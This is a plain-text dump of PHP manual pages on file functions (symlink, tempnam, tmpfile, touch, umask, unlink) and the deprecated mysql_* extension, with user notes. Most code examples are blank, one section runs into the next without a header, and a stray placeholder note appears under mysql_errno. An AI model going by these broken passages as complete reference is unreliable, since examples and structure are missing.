Example #1 get_process_count() example > < The above example will output: int(118) Which is the number of processes that were running. -------------------------------------------------------------------------------- *symlink* +---------+~ | symlink |~ +---------+~ (PHP 4, PHP 5, PHP 7) symlink — Creates a symbolic link Description~ > bool symlink ( string $target , string $link ) < symlink() creates a symbolic link to the existing target with the specified name link. Parameters~ target ------ Target of the link. link ----- The link name. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.3.0 This function is now available on Windows platforms (Vista, Server 2008 or greater). Examples~ Example #1 Create a symbolic link > < Notes~ Note: Windows users should note that this function will only work if the system you run PHP from is Windows Vista/Windows Server 2008 or newer. Windows versions prior to that do not support symbolic links. See Also~ |link|() - Create a hard link |readlink|() - Returns the target of a symbolic link |linkinfo|() - Gets information about a link User Contributed Notes 18 notes 9 olszewski_marek at yahoo dot com ¶16 years ago~ Here is a simple way to control who downloads your files... You will have to set: $filename, $downloaddir, $safedir and $downloadURL. Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir. The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested. The browser is then redirected to the new link and the download begins. The code also deletes any past symbolic links created by any past users before creating one for itself. This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script. There appears to be no problem if a symbolic link is deleted while another person is downloading from that link. This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file. Anyway enjoy: > string tempnam ( string $dir , string $prefix ) < Creates a file with a unique filename, with access permission set to 0600, in the specified directory. If the directory does not exist or is not writable, tempnam() may generate a file in the system's temporary directory, and return the full path to that file, including its name. Parameters~ dir ----- The directory where the temporary filename will be created. prefix ------- The prefix of the generated temporary filename. Note: Windows uses only the first three characters of prefix. Return Values~ Returns the new temporary filename (with path), or FALSE on failure. Changelog~ Version Description 4.0.3 This function's behavior changed in 4.0.3. The temporary file is also created to avoid a race condition where the file might appear in the filesystem between the time the string was generated and before the script gets around to creating the file. Note, that you need to remove the file in case you need it no more, it is not done automatically. Examples~ Example #1 tempnam() example > < Notes~ Note: If PHP cannot create a file in the specified dir parameter, it falls back on the system default. On NTFS this also happens if the specified dir contains more than 65534 files. See Also~ |tmpfile|() - Creates a temporary file |sys_get_temp_dir|() - Returns directory path used for temporary files |unlink|() - Deletes a file User Contributed Notes 22 notes 43 koyama ¶7 years ago~ Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory. > < If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like Warning: tempnam() [function.tempnam]: open_basedir restriction in effect. File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp) What works is this: > < 8 Artur Graniszewski ¶7 years ago~ tempnam() function does not support custom stream wrappers registered by stream_register_wrapper(). For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice. > > echo '
    ';
    	error_reporting(E_ALL);
    	ini_set('display_errors', true);
    	clearstatcache();
    	stream_register_wrapper('test', 'MemoryStream');
    
    	mkdir('test://aaa');
    	mkdir('test://aaa/cc');
    	mkdir('test://aaa/dd'); 
    	echo 'PHP '.PHP_VERSION;
    	echo '
    node exists: '.file_exists('test://aaa/cc'); echo '
    node is writable: '.is_writable('test://aaa/cc'); echo '
    node is dir: '.is_dir('test://aaa/cc'); echo '
    tempnam in dir: '.tempnam('test://aaa/cc', 'tmp'); echo "
    "; ?> < ouputs: -------------------- PHP 5.2.13 node exists: 1 node is writable: 1 node is dir: 1 tempnam in dir: C:\Windows\Temp\tmp1D03.tmp If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions) 15 Sebastian Kun ¶12 years ago~ If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available). -------------------------------------------------------------------------------- *tmpfile* +---------+~ | tmpfile |~ +---------+~ (PHP 4, PHP 5, PHP 7) tmpfile — Creates a temporary file Description~ > resource tmpfile ( void ) < Creates a temporary file with a unique name in read-write (w+) mode and returns a file handle . The file is automatically removed when closed (for example, by calling fclose(), or when there are no remaining references to the file handle returned by tmpfile()), or when the script ends. For details, consult your system documentation on the tmpfile(3) function, as well as the stdio.h header file. Return Values~ Returns a file handle, similar to the one returned by fopen(), for the new file or FALSE on failure. Examples~ Example #1 tmpfile() example > < The above example will output: writing to tempfile See Also~ |tempnam|() - Create file with unique file name |sys_get_temp_dir|() - Returns directory path used for temporary files User Contributed Notes 4 notes 12 chris [at] pureformsolutions [dot] com ¶11 years ago~ I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely: > Setup file NOT inserted

    "; } fclose($fSetup); ?> < The $setup variable is the contents of the textarea. And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it. -------------------------------------------------------------------------------- *touch* +-------+~ | touch |~ +-------+~ (PHP 4, PHP 5, PHP 7) touch — Sets access and modification time of file Description~ > bool touch ( string $filename [, int $time = time() [, int $atime ]] ) < Attempts to set the access and modification times of the file named in the filename parameter to the value given in time. Note that the access time is always modified, regardless of the number of parameters. If the file does not exist, it will be created. Parameters~ filename -------- The name of the file being touched. time ----- The touch time. If time is not supplied, the current system time is used. atime ----- If present, the access time of the given filename is set to the value of atime. Otherwise, it is set to the value passed to the time parameter. If neither are present, the current system time is used. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.3.0 It became possible to change the modification time of a directory under Windows. Examples Example #1 touch() example > < Example #2 touch() using the time parameter > < Notes~ Note: Note that time resolution may differ from one file system to another. Warning Prior to PHP 5.3.0 it was not possible to change the modification time of a directory with this function under Windows. User Contributed Notes 16 notes 6 Charles Belov ¶10 years ago~ Update the access time without updating the modified time: Unix command: touch -a filename PHP: touch(filename, date('U', filemtime(filename)), time()) 8 anon ¶3 years ago~ Note that when PHP is called by f.e. apache or nginx instead of directly from the command line, touch() will not prefix the location of the invoking script, so the supplied filename must contain an absolute path. With script started from /home/user/www, this will not touch "/home/user/www/somefile": > < But this will: > < 7 spam at webmastersguide dot com ¶11 years ago~ If you're going to go around deleting (unlinking) files that you don't own just in order to change the modification time on the file, you darn well better chown() the file back to it's original ownership after you are done and chmod() it back to it's correct permissions. Otherwise you will almost certainly break things. Additionally the code listed for touch()ing a file you don't own should set the file creation time back to it's original time if what is wanted is to just change the modification time. Also, the code listed will break things if there is an i/o error such as disk full or too many files in the directory. Here's how the code SHOULD be written: Create the new file FIRST, rather than last, with a different name such as $file.tmp. Read the ownership, permissions, and creation time of the old file. Set permissions and creation time of the new file the same as the old. Rename the new file to the name of the old. chown() the new file to the user that owned the file it's replacing. Please be careful adding to the documentation if you've never taken programming 101. -------------------------------------------------------------------------------- *umask* +-------+~ | umask |~ +-------+~ (PHP 4, PHP 5, PHP 7) umask — Changes the current umask Description~ > int umask ([ int $mask ] ) < umask() sets PHP's umask to mask & 0777 and returns the old umask. When PHP is being used as a server module, the umask is restored when each request is finished. Parameters~ mask ----- The new umask. Return Values~ umask() without arguments simply returns the current umask otherwise the old umask is returned. Examples~ Example #1 umask() example > < Notes~ Note: Avoid using this function in multithreaded webservers. It is better to change the file permissions with chmod() after creating the file. Using umask() can lead to unexpected behavior of concurrently running scripts and the webserver itself because they all use the same umask. User Contributed Notes 14 notes 57 librodot at ciberpiula dot net ¶7 years ago~ I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions. umask sets which permissions must be removed from the system default when you create a file or a directory. For example, a mask 0022 means that you don't want group and others modify the file. default 0666 rw-.rw-.rw- umask 0022 ---.-w-.-w- Final 0644 rw-.r--.r-- That means that any file from now on will have 0644 permissions. It is important to understand that umask revokes, deletes permissions from system default, so it can´t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod. Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories. Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022 -------------------------------------------------------------------------------- *unlink* +--------+~ | unlink |~ +--------+~ (PHP 4, PHP 5, PHP 7) unlink — Deletes a file Description~ > bool unlink ( string $filename [, resource $context ] ) < Deletes filename. Similar to the Unix C unlink() function. An E_WARNING level error will be generated on failure. Parameters~ filename -------- Path to the file. context ------- Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.0.0 As of PHP 5.0.0 unlink() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support unlink(). Examples~ Example #1 Basic unlink() usage > Hello world!'); fclose($fh); unlink('test.html'); ?> < See Also~ |rmdir|() - Removes directory User Contributed Notes 19 notes 239 anagai at yahoo dot com ¶4 years ago~ This will delete all files in a directory matching a pattern in one line of code. > < 75 dexen dot devries at gmail dot com ¶6 years ago~ Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS? The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''. Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case. However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed. The caveat: A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process... 19 PD ¶8 years ago~ I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead. Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file. Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :) So I thought of mentoining this here, to avoid others of making the same mistake: > < 26 federico at poisonfx dot com ¶6 years ago~ Here the simplest way to delete files with mask > < 18 deen804 at gmail dot com ¶3 years ago~ unlink($fileName); failed for me . Then i tried using the realpath($fileName) function as unlink(realpath($fileName)); it worked just posting it , in case if any one finds it useful . 12 gotdalife at gmail dot com ¶8 years ago~ To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../"). So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located. > < 17 chris at vibenewmedia dot com ¶12 years ago~ To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function. Say I wanted to delete all jpgs ......... > < -------------------------------------------------------------------------------- *MySQL_Functions* +-----------------+~ | MySQL Functions |~ +-----------------+~ Notes Note: Most MySQL functions accept link_identifier as the last optional parameter. If it is not provided, last opened connection is used. If it doesn't exist, connection is tried to establish with default parameters defined in php.ini. If it is not successful, functions return FALSE. Table of Contents |mysql_affected_rows| — Get number of affected rows in previous MySQL operation |mysql_client_encoding| — Returns the name of the character set |mysql_close| — Close MySQL connection |mysql_connect| — Open a connection to a MySQL Server |mysql_create_db| — Create a MySQL database |mysql_data_seek| — Move internal result pointer |mysql_db_name| — Retrieves database name from the call to mysql_list_dbs |mysql_db_query| — Selects a database and executes a query on it |mysql_drop_db| — Drop (delete) a MySQL database |mysql_errno| — Returns the numerical value of the error message from previous MySQL operation |mysql_error| — Returns the text of the error message from previous MySQL operation |mysql_escape_string| — Escapes a string for use in a mysql_query |mysql_fetch_array| — Fetch a result row as an associative array, a numeric array, or both |mysql_fetch_assoc| — Fetch a result row as an associative array |mysql_fetch_field| — Get column information from a result and return as an object |mysql_fetch_lengths| — Get the length of each output in a result |mysql_fetch_object| — Fetch a result row as an object |mysql_fetch_row| — Get a result row as an enumerated array |mysql_field_flags| — Get the flags associated with the specified field in a result |mysql_field_len| — Returns the length of the specified field |mysql_field_name| — Get the name of the specified field in a result |mysql_field_seek| — Set result pointer to a specified field offset |mysql_field_table| — Get name of the table the specified field is in |mysql_field_type| — Get the type of the specified field in a result |mysql_free_result| — Free result memory |mysql_get_client_info| — Get MySQL client info |mysql_get_host_info| — Get MySQL host info |mysql_get_proto_info| — Get MySQL protocol info |mysql_get_server_info| — Get MySQL server info |mysql_info| — Get information about the most recent query |mysql_insert_id| — Get the ID generated in the last query |mysql_list_dbs| — List databases available on a MySQL server |mysql_list_fields| — List MySQL table fields |mysql_list_processes| — List MySQL processes |mysql_list_tables| — List tables in a MySQL database |mysql_num_fields| — Get number of fields in result |mysql_num_rows| — Get number of rows in result |mysql_pconnect| — Open a persistent connection to a MySQL server |mysql_ping| — Ping a server connection or reconnect if there is no connection |mysql_query| — Send a MySQL query |mysql_real_escape_string| — Escapes special characters in a string for use in an SQL statement |mysql_result| — Get result data |mysql_select_db| — Select a MySQL database |mysql_set_charset| — Sets the client character set |mysql_stat| — Get current system status |mysql_tablename| — Get table name of field |mysql_thread_id| — Return the current thread ID |mysql_unbuffered_query| — Send an SQL query to MySQL without fetching and buffering the result rows. -------------------------------------------------------------------------------- *mysql_affected_rows* +---------------------+~ | mysql_affected_rows |~ +---------------------+~ (PHP 4, PHP 5) mysql_affected_rows — Get number of affected rows in previous MySQL operation Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_affected_rows|() |PDOStatement::rowCount|() Description~ > int mysql_affected_rows ([ resource $link_identifier = NULL ] ) < Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE query associated with link_identifier. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the number of affected rows on success, and -1 if the last query failed. If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero with MySQL versions prior to 4.1.2. When using UPDATE, MySQL will not update columns where the new value is the same as the old value. This creates the possibility that mysql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query. The REPLACE statement first deletes the record with the same primary key and then inserts the new record. This function returns the number of deleted records plus the number of inserted records. In the case of "INSERT ... ON DUPLICATE KEY UPDATE" queries, the return value will be 1 if an insert was performed, or 2 for an update of an existing row. Examples Example #1 mysql_affected_rows() example > < The above example will output something similar to: Records deleted: 10 Records deleted: 0 Example #2 mysql_affected_rows() example using transactions > < The above example will output something similar to: Updated Records: 10 Notes Note: Transactions If you are using transactions, you need to call mysql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the COMMIT. Note: SELECT Statements To retrieve the number of rows returned by a SELECT, it is possible to use mysql_num_rows(). Note: Cascaded Foreign Keys mysql_affected_rows() does not count rows affected implicitly through the use of ON DELETE CASCADE and/or ON UPDATE CASCADE in foreign key constraints. See Also~ |mysql_num_rows|() - Get number of rows in result |mysql_info|() - Get information about the most recent query -------------------------------------------------------------------------------- *mysql_client_encoding* +-----------------------+~ | mysql_client_encoding |~ +-----------------------+~ mysql_client_encoding (PHP 4 >= 4.3.0, PHP 5) mysql_client_encoding — Returns the name of the character set Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_character_set_name|() Description > string mysql_client_encoding ([ resource $link_identifier = NULL ] ) Retrieves the character_set variable from MySQL. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the default character set name for the current connection. Examples~ Example #1 mysql_client_encoding() example > < The above example will output something similar to: The current character set is: latin1 See Also~ |mysql_set_charset|() - Sets the client character set |mysql_real_escape_string|() - Escapes special characters in a string for use in an SQL statement -------------------------------------------------------------------------------- *mysql_close* +-------------+~ | mysql_close |~ +-------------+~ (PHP 4, PHP 5) mysql_close — Close MySQL connection Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_close|() PDO: Assign the value of NULL to the PDO object Description~ > bool mysql_close ([ resource $link_identifier = NULL ] ) < mysql_close() closes the non-persistent connection to the MySQL server that's associated with the specified link identifier. If link_identifier isn't specified, the last opened link is used. Open non-persistent MySQL connections and result sets are automatically destroyed when a PHP script finishes its execution. So, while explicitly closing open connections and freeing result sets is optional, doing so is recommended. This will immediately return resources to PHP and MySQL, which can improve performance. For related information, see freeing resources Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mysql_close() example > < The above example will output: Connected successfully Notes Note: mysql_close() will not close persistent links created by mysql_pconnect(). For additional details, see the manual page on persistent connections. See Also~ |mysql_connect|() - Open a connection to a MySQL Server |mysql_free_result|() - Free result memory -------------------------------------------------------------------------------- *mysql_connect* +---------------+~ | mysql_connect |~ +---------------+~ (PHP 4, PHP 5) mysql_connect — Open a connection to a MySQL Server Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_connect|() |PDO::__construct|() Description~ > resource mysql_connect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, bool $new_link = false [, int $client_flags = 0 ]]]]] ) < Opens or reuses a connection to a MySQL server. Parameters~ server ------ The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost. If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306'. In SQL safe mode, this parameter is ignored and value 'localhost:3306' is always used. username -------- The username. Default value is defined by mysql.default_user. In SQL safe mode, this parameter is ignored and the name of the user that owns the server process is used. password -------- The password. Default value is defined by mysql.default_password. In SQL safe mode, this parameter is ignored and empty password is used. new_link -------- If a second call is made to mysql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The new_link parameter modifies this behavior and makes mysql_connect() always open a new link, even if mysql_connect() was called before with the same parameters. In SQL safe mode, this parameter is ignored. client_flags ------------ The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE. Read the section about MySQL client constants for further information. In SQL safe mode, this parameter is ignored. Return Values~ Returns a MySQL link identifier on success or FALSE on failure. Changelog~ Version Description 5.5.0 This function will generate an E_DEPRECATED error. Examples~ Example #1 mysql_connect() example > < Example #2 mysql_connect() example using hostname:port syntax > < Example #3 mysql_connect() example using ":/path/to/socket" syntax > < Notes Note: Whenever you specify "localhost" or "localhost:port" as server, the MySQL client library will override this and try to connect to a local socket (named pipe on Windows). If you want to use TCP/IP, use "127.0.0.1" instead of "localhost". If the MySQL client library tries to connect to the wrong local socket, you should set the correct path as in your PHP configuration and leave the server field blank. Note: The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mysql_close(). Note: You can suppress the error message on failure by prepending a @ to the function name. Note: Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock. See Also~ |mysql_pconnect|() - Open a persistent connection to a MySQL server |mysql_close|() - Close MySQL connection -------------------------------------------------------------------------------- *mysql_create_db* +-----------------+~ | mysql_create_db |~ +-----------------+~ (PHP 4, PHP 5) mysql_create_db — Create a MySQL database Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_query|() |PDO::query|() Description~ > bool mysql_create_db ( string $database_name [, resource $link_identifier = NULL ] ) mysql_create_db() attempts to create a new database on the server associated with the specified link identifier. < Parameters~ database_name ------------- The name of the database being created. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mysql_create_db() alternative example The function mysql_create_db() is deprecated. It is preferable to use mysql_query() to issue an sql CREATE DATABASE statement instead. > < The above example will output something similar to: Database my_db created successfully Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_createdb() Note: This function will not be available if the MySQL extension was built against a MySQL 4.x client library. See Also~ |mysql_query|() - Send a MySQL query |mysql_select_db|() - Select a MySQL database -------------------------------------------------------------------------------- *mysql_data_seek* +-----------------+~ | mysql_data_seek |~ +-----------------+~ (PHP 4, PHP 5) mysql_data_seek — Move internal result pointer Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_data_seek|() |PDO::FETCH_ORI_ABS| Description~ > bool mysql_data_seek ( resource $result , int $row_number ) < mysql_data_seek() moves the internal row pointer of the MySQL result associated with the specified result identifier to point to the specified row number. The next call to a MySQL fetch function, such as mysql_fetch_assoc(), would return that row. row_number starts at 0. The row_number should be a value in the range from 0 to mysql_num_rows() - 1. However if the result set is empty (mysql_num_rows() == 0), a seek to 0 will fail with a E_WARNING and mysql_data_seek() will return FALSE. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). row_number ---------- The desired row number of the new result pointer. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mysql_data_seek() example > = 0; $i--) { if (!mysql_data_seek($result, $i)) { echo "Cannot seek to row $i: " . mysql_error() . "\n"; continue; } if (!($row = mysql_fetch_assoc($result))) { continue; } echo $row['last_name'] . ' ' . $row['first_name'] . "
    \n"; } mysql_free_result($result); ?> < Notes Note: The function mysql_data_seek() can be used in conjunction only with mysql_query(), not with mysql_unbuffered_query(). See Also~ |mysql_query|() - Send a MySQL query |mysql_num_rows|() - Get number of rows in result |mysql_fetch_row|() - Get a result row as an enumerated array |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_fetch_array|() - Fetch a result row as an associative array, a numeric array, or both |mysql_fetch_object|() - Fetch a result row as an object -------------------------------------------------------------------------------- *mysql_db_name* +---------------+~ | mysql_db_name |~ +---------------+~ (PHP 4, PHP 5) mysql_db_name — Retrieves database name from the call to mysql_list_dbs() Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: Query: SELECT DATABASE() Description~ > string mysql_db_name ( resource $result , int $row [, mixed $field = NULL ] ) < Retrieve the database name from a call to mysql_list_dbs(). Parameters~ result ------ The result pointer from a call to mysql_list_dbs(). row ----- The index into the result set. field ----- The field name. Return Values~ Returns the database name on success, and FALSE on failure. If FALSE is returned, use mysql_error() to determine the nature of the error. Changelog Version Description 5.5.0 The mysql_list_dbs() function is deprecated, and emits an E_DEPRECATED level error. Examples~ Example #1 mysql_db_name() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_dbname() See Also |mysql_list_dbs|() - List databases available on a MySQL server |mysql_tablename|() - Get table name of field -------------------------------------------------------------------------------- *mysql_db_query* +----------------+~ | mysql_db_query |~ +----------------+~ (PHP 4, PHP 5) mysql_db_query — Selects a database and executes a query on it Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_select_db|() then the query |PDO::__construct|() Description~ > resource mysql_db_query ( string $database , string $query [, resource $link_identifier = NULL ] ) < mysql_db_query() selects a database, and executes a query on it. Parameters~ database -------- The name of the database that will be selected. query ----- The MySQL query. Data inside the query should be properly escaped. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns a positive MySQL result resource to the query result, or FALSE on error. The function also returns TRUE/FALSE for INSERT/UPDATE/DELETE queries to indicate success/failure. Changelog~ Version Description 5.3.0 This function now throws an E_DEPRECATED notice. Examples~ Example #1 mysql_db_query() alternative example > < Notes Note: Be aware that this function does NOT switch back to the database you were connected before. In other words, you can't use this function to temporarily run a sql query on another database, you would have to manually switch back. Users are strongly encouraged to use the database.table syntax in their sql queries or mysql_select_db() instead of this function. See Also~ |mysql_query|() - Send a MySQL query |mysql_select_db|() - Select a MySQL database -------------------------------------------------------------------------------- *mysql_drop_db* +---------------+~ | mysql_drop_db |~ +---------------+~ (PHP 4, PHP 5) mysql_drop_db — Drop (delete) a MySQL database Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: Execute a DROP DATABASE query Description~ > bool mysql_drop_db ( string $database_name [, resource $link_identifier = NULL ] ) < mysql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier. This function is deprecated, it is preferable to use mysql_query() to issue an sql DROP DATABASE statement instead. Parameters~ database_name ------------- The name of the database that will be deleted. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mysql_drop_db() alternative example > < Notes Warning This function will not be available if the MySQL extension was built against a MySQL 4.x client library. Note: For backward compatibility, the following deprecated alias may be used: mysql_dropdb() See Also~ |mysql_query|() - Send a MySQL query -------------------------------------------------------------------------------- *mysql_errno* +-------------+~ | mysql_errno |~ +-------------+~ (PHP 4, PHP 5) mysql_errno — Returns the numerical value of the error message from previous MySQL operation Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_errno|() |PDO::errorCode|() Description~ > int mysql_errno ([ resource $link_identifier = NULL ] ) < Returns the error number from the last MySQL function. Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the error number from the last MySQL function, or 0 (zero) if no error occurred. Examples~ Example #1 mysql_errno() example > < The above example will output something similar to: 1049: Unknown database 'nonexistentdb' 1146: Table 'kossu.nonexistenttable' doesn't exist See Also~ mysql_error() - Returns the text of the error message from previous MySQL operation » |MySQL_error_codes| Note not typed in yet haven't done any mysql hopefully at some point note -------------------------------------------------------------------------------- *mysql_error* +-------------+~ | mysql_error |~ +-------------+~ (PHP 4, PHP 5) mysql_error — Returns the text of the error message from previous MySQL operation Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_error|() |PDO::errorInfo|() Description~ > string mysql_error ([ resource $link_identifier = NULL ] ) < Returns the error text from the last MySQL function. Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_error() to retrieve the error text. Note that this function only returns the error text from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the error text from the last MySQL function, or '' (empty string) if no error occurred. Examples~ Example #1 mysql_error() example > < The above example will output something similar to: 1049: Unknown database 'nonexistentdb' 1146: Table 'kossu.nonexistenttable' doesn't exist See Also ¶ mysql_errno() - Returns the numerical value of the error message from previous MySQL operation » |MySQL_error_codes| -------------------------------------------------------------------------------- *mysql_escape_string* +---------------------+~ | mysql_escape_string |~ +---------------------+~ (PHP 4 >= 4.0.3, PHP 5) mysql_escape_string — Escapes a string for use in a mysql_query Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_escape_string|() |PDO::quote|() Description~ > string mysql_escape_string ( string $unescaped_string ) < This function will escape the unescaped_string, so that it is safe to place it in a mysql_query(). This function is deprecated. This function is identical to mysql_real_escape_string() except that mysql_real_escape_string() takes a connection handler and escapes the string according to the current character set. mysql_escape_string() does not take a connection argument and does not respect the current charset setting. Parameters~ 